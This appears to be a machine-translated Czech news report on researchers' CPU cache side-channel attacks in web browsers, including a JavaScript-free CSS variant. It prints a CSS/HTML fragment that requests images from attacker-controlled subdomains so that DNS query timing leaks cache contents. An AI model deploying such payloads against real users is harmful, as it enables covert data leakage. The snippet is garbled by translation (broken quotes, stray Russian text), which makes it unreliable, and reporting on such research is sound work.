Útok na extrakci dat z vyrovnávací paměti CPU, realizovaný v webovém prohlížeči bez JavaScriptu

Skupina výzkumníků z několika amerických, izraelských a australských univerzit vyvinula tři funkční útoky v webových prohlížečích, které extrahují informace o obsahu procesorové cache. Jedna metoda funguje v prohlížečích bez JavaScriptu, zatímco další dvě obcházejí stávající metody ochrany proti útokům prostřednictvím bočních kanálů, včetně těch používaných v Tor browser a DeterFox. Kód pro demonstraci útoků a potřebné serverové komponenty byly zveřejněny na GitHubu.

Pro analýzu obsahu cache ve všech útocích se používá metoda Prime+Probe, která spočívá v naplnění cache referenční množinou hodnot a určení změn měřením doby přístupu k nim při opětovném naplnění. Aby se obměnily mechanismy ochrany přítomné v prohlížečích, které brání přesnému měření času, v obou variantách se provádí dotazy na kontrolovaný útočníkův DNS nebo WebSocket server, na kterém se zaznamenává log času příjmu požadavků. V jedné variantě se fixní doba DNS odpovědi používá jako referenční čas.

Měření provedená za použití externích DNS nebo WebSocket serverů, díky použití klasifikačního systému na bázi strojového učení, byla dostatečná pro predikci hodnot s přesností až 98 % v nejoptimálnějším scénáři (průměr 80-90 %). Útoky byly testovány na různých hardwarových platformách (Intel, AMD Ryzen, Apple M1, Samsung Exynos) a ukázaly se jako univerzální.

Útok na extrakci dat z vyrovnávací paměti CPU, realizovaný v webovém prohlížeči bez JavaScriptu

V první variantě útoku „DNS Racing“ se používá klasická implementace metody Prime+Probe, která využívá pole JavaScriptu. Rozdíly spočívají v aplikaci externího časovače založeného na DNS a zpracovatele onerror, který se spouští při pokusu o načtení obrázku z neexistující domény. Externí časovač umožňuje provést útok Prime+Probe v prohlížečích, které omezují nebo zcela vypínají přístup k JavaScriptovým časovačům.

Pro DNS server umístěný ve stejné Ethernet síti je přesnost časovače odhadována na přibližně 2 ms, což je dostatečné pro provedení útoku prostřednictvím externích kanálů (pro srovnání, přesnost standardního JavaScript časovače v prohlížeči Tor je snížena na 100 ms). Pro útok není potřeba mít kontrolu nad DNS serverem, protože čas provedení operace je nastaven tak, aby doba odezvy od DNS sloužila jako indikátor předčasného dokončení kontroly (v závislosti na tom, zda se dříve nebo později spustil obslužný program onerror, se určuje rychlost provádění kontrolní operace s cache).

Druhý metod útoku „String and Sock“ je zaměřen na obcházení ochranných metod, které omezují nízkoúrovňové používání polí v JavaScriptu. Místo polí používá „String and Sock“ operace s velmi velkými řetězci, jejichž velikost je zvolena tak, aby proměnná pokrývala celý cache LLC (Cache poslední úrovně). Poté pomocí funkce indexOf() v řetězci vyhledává menší podřetězec, který v původním řetězci původně chybí, tj. operace vyhledávání vede k procházení celého řetězce. Protože velikost řetězce odpovídá velikosti cache LLC, umožňuje skenování provést kontrolní operaci bez manipulace s poli. Pro měření zpoždění je místo DNS využíván útokem kontrolovaný WebSocket server — před začátkem a po skončení vyhledávací operace v řetězci se odesílají požadavky, na jejichž základě se serveru vypočítává zpoždění, které se používá k analýze obsahu cache.

Třetí varianta útoku „CSS PP0“ je realizována prostřednictvím HTML a CSS a může fungovat v prohlížečích s vypnutým JavaScriptem. Metoda připomíná „String and Sock“, ale není vázaná na JavaScript. Během útoku se vytváří sada CSS selektorů, které vyhledávají podle masky. Počáteční velký řetězec, který vyplňuje cache, je zadán vytvořením tagu div s velmi dlouhým názvem třídy. Uvnitř se nachází sada dalších divů se svými identifikátory. Pro každý z těchto vnořených divů je definován svůj vlastní styl se selektorem provádějícím vyhledávání podřetězce. Při vykreslování stránky se prohlížeč nejprve pokouší zpracovat vnitřní divy, což vede k provedení operace vyhledávání ve velkém řetězci. Vyhledávání probíhá podle zjevně neexistující masky a vede k procházení celého řetězce, po čemž se aktivuje podmínka „not“ a pokusí se načíst pozadí obrázku, odkazujícího na náhodné domény: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>

Subdomény jsou spravovány na DNS serveru útočníka, který může měřit zpoždění v příjmu požadavků. Na všechny požadavky DNS server vrací NXDOMAIN a vede log přesného času dotazů. V důsledku zpracování sady divů na DNS server útočníka přichází série požadavků, jejichž zpoždění korelují s výsledkem kontroly obsahu cache.

Útok na extrakci dat z vyrovnávací paměti CPU, realizovaný v webovém prohlížeči bez JavaScriptu


Zdroj: opennet.ru
Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster